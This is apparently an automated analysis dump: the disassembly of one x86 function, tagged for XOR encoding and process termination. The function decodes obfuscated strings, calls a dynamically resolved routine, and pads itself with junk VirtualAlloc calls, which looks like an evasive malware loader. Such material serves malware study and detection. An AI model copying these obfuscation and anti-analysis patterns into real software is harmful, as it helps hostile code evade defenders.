Function at 0x10001a30
Capabilities:
Encode data using xor
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x1001f148]
xor edx, edx
cmp dword [0x10021398], 2
movq xmm0, qword [str.ghau__:qz]
movups xmm6, xmmword [0x1001f200]
mov dword [ebp - 0xc], eax
mov al, byte [0x1001f14c]
push esi
push edi
movq qword [ebp - 0x14], xmm0
mov byte [ebp - 8], al
mov dword [ebp - 4], edx
jl 0x10001b60
movaps xmm2, xmmword [0x1001f1a0]
mov edx, 8
movaps xmm3, xmmword [0x1001f290]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov dword [ebp - 4], edx
psrad xmm1, 6
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1001f1e0]
psubd xmm2, xmm0
movd xmm0, dword [str.ghau__:qz]
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1001f210]
xorps xmm2, xmm0
movd dword [ebp - 0x14], xmm2
movaps xmm2, xmmword [0x1001f1b0]
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1001f1e0]
psubd xmm2, xmm0
movd xmm0, dword [ebp - 0x10]
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1001f210]
xorps xmm2, xmm0
movd dword [ebp - 0x10], xmm2
nop dword [eax]
mov eax, 0x92492493
imul edx
add edx, dword [ebp - 4]
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x70
sub cl, al
add cl, 0xc
xor byte [ebp + edx - 0x14], cl
inc edx
mov dword [ebp - 4], edx
cmp edx, 0xd
jl 0x10001b60
lea eax, [ebp - 0x14]
push eax
call fcn.10001430
push 0x19
mov dword [ebp - 4], eax
call fcn.100147b0
add esp, 4
lea esi, [eax + 0x19]
cmp esi, 0xffffffc9
jg 0x10001bc0
push 4
push 0x1000
push 0x5f
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp esi, 0xffffff53
jg 0x10001bdc
push 4
push 0x1000
push 0x99
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0xa
idiv ecx
lea esi, [edx + edx*4]
add esi, esi
push esi
call fcn.100147b0
add esi, eax
add esp, 4
cmp esi, 0xffffffc9
jg 0x10001c10
push 4
push 0x1000
push 0x5f
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp esi, 0xffffff53
jg 0x10001c2c
push 4
push 0x1000
push 0x99
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor esi, esi
nop
push esi
call fcn.100147b0
add esp, 4
lea edi, [esi + eax]
cmp edi, 0xffffffc9
jg 0x10001c52
push 4
push 0x1000
push 0x5f
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp edi, 0xffffff53
jg 0x10001c6e
push 4
push 0x1000
push 0x99
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
inc esi
cmp esi, 0xa
jl 0x10001c30
cmp byte [0x1001f161], 0
movups xmm0, xmmword [0x1001f150]
mov ax, word [0x1001f160]
mov word [ebp - 0x34], ax
movups xmmword [ebp - 0x44], xmm0
je 0x10001dd8
xor ecx, ecx
cmp dword [0x10021398], 2
jl 0x10001db0
movaps xmm0, xmmword [0x1001f260]
movaps xmm5, xmmword [0x1001f1a0]
movaps xmm3, xmmword [0x1001f230]
movaps xmm6, xmmword [0x1001f1f0]
movups xmm4, xmmword [0x1001f200]
movaps xmmword [ebp - 0x30], xmm0
mov edx, dword [ebp - 0x30]
nop
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movd xmm0, dword [ebp + ecx - 0x44]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + ecx - 0x44], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movd xmm0, dword [ebp + ecx - 0x40]
xorps xmm2, xmm0
movd dword [ebp + ecx - 0x40], xmm2
add ecx, 8
cmp ecx, 0x10
jl 0x10001cd0
cmp ecx, 0x12
jge 0x10001dd8
nop
mov eax, 0x473c1ab7
imul ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dl, cl
movsx eax, al
imul eax, eax, 0x73
sub dl, al
sub dl, 0x73
xor byte [ebp + ecx - 0x44], dl
inc ecx
cmp ecx, 0x12
jl 0x10001db0
push 1
lea eax, [ebp - 0x44]
push eax
push dword [ebp - 4]
call section..text
push 0x4e
mov edi, eax
call fcn.100147b0
add esp, 4
lea esi, [eax + 0x4e]
cmp esi, 0xffffffc9
jg 0x10001e0b
push 4
push 0x1000
push 0x5f
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp esi, 0xffffff53
jg 0x10001e27
push 4
push 0x1000
push 0x99
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x36
call fcn.100147b0
add esp, 4
lea esi, [eax + 0x36]
cmp esi, 0xffffffc9
jg 0x10001e4a
push 4
push 0x1000
push 0x5f
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp esi, 0xffffff53
jg 0x10001e66
push 4
push 0x1000
push 0x99
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x40
call fcn.100147b0
add esp, 4
lea esi, [eax + 0x40]
cmp esi, 0xffffffc9
jg 0x10001e89
push 4
push 0x1000
push 0x5f
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp esi, 0xffffff53
jg 0x10001ea5
push 4
push 0x1000
push 0x99
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x5b
call fcn.100147b0
add esp, 4
lea esi, [eax + 0x5b]
cmp esi, 0xffffffc9
jg 0x10001ec8
push 4
push 0x1000
push 0x5f
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp esi, 0xffffff53
jg 0x10001ee4
push 4
push 0x1000
push 0x99
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, edi
call dword [0x1001f0d0]
call edi
test eax, eax
je 0x10001f0b
push 0x79
call fcn.1001cde0
push 0x47
call fcn.1001cde0
add esp, 8
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret